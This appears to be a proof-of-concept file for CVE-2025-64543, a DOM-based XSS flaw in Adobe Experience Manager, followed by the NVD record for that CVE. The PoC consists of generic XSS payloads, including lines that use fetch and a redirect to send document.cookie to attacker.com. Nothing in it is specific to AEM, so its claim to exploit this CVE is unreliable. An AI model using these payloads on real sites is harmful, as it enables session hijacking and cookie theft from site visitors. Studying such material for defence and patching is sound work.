CVE-2025-64543

<!-- CVE-2025-64543 DOM-based XSS PoC for Adobe Experience Manager --> <!-- This PoC demonstrates the DOM-based XSS vulnerability in AEM --> <!-- Method 1: Using JavaScript event handler --> <img src=x onerror="alert(document.cookie)"> <!-- Method 2: Using script tag with URL-based payload --> <script>alert(String.fromCharCode(88,83,83))</script> <!-- Method 3: Practical exploitation URL --> <!-- Replace VULNERABLE_ENDPOINT with actual vulnerable path in AEM --> https://vulnerable-site.com/vulnerable-endpoint?param=<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- Method 4: Stored XSS to DOM XSS chain --> <!-- If AEM allows content authors to inject scripts, combine with DOM parsing --> <div data-value="USER_INPUT_PLACEHOLDER"></div> <script> // Vulnerable DOM manipulation pattern document.querySelector('.malicious-class').innerHTML = location.hash.substring(1); </script> <!-- Attack URL example: --> <!-- https://vulnerable-site.com/page#<img src=x onerror="document.location='https://attacker.com/log?c='+document.cookie"> -->

{"cve": {"id": "CVE-2025-64543", "sourceIdentifier": "[email protected]", "published": "2025-12-10T19:16:15.630", "lastModified": "2025-12-12T19:58:06.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Experience Manager versions 6.5.23 and earlier are affected by a DOM-based Cross-Site Scripting (XSS) vulnerability that could be exploited by a low privileged attacker to execute malicious scripts in the context of the victim's browser. Exploitation of this issue requires user interaction, such as visiting a crafted URL or interacting with a manipulated web page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:*", "versionEndExcluding": "6.5.24.0", "matchCriteriaId": "0FC0CE20-2AC2-45FB-A7CF-9ADEEBC8B411"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:*", "versionEndExcluding": "2025.12.0", "matchCriteriaId": "3326AB8A-7DF7-437C-86B6-58BA768E42E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:*", "matchCriteriaId": "852C2582-859F-40DB-96CF-E1274CEECC1F"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}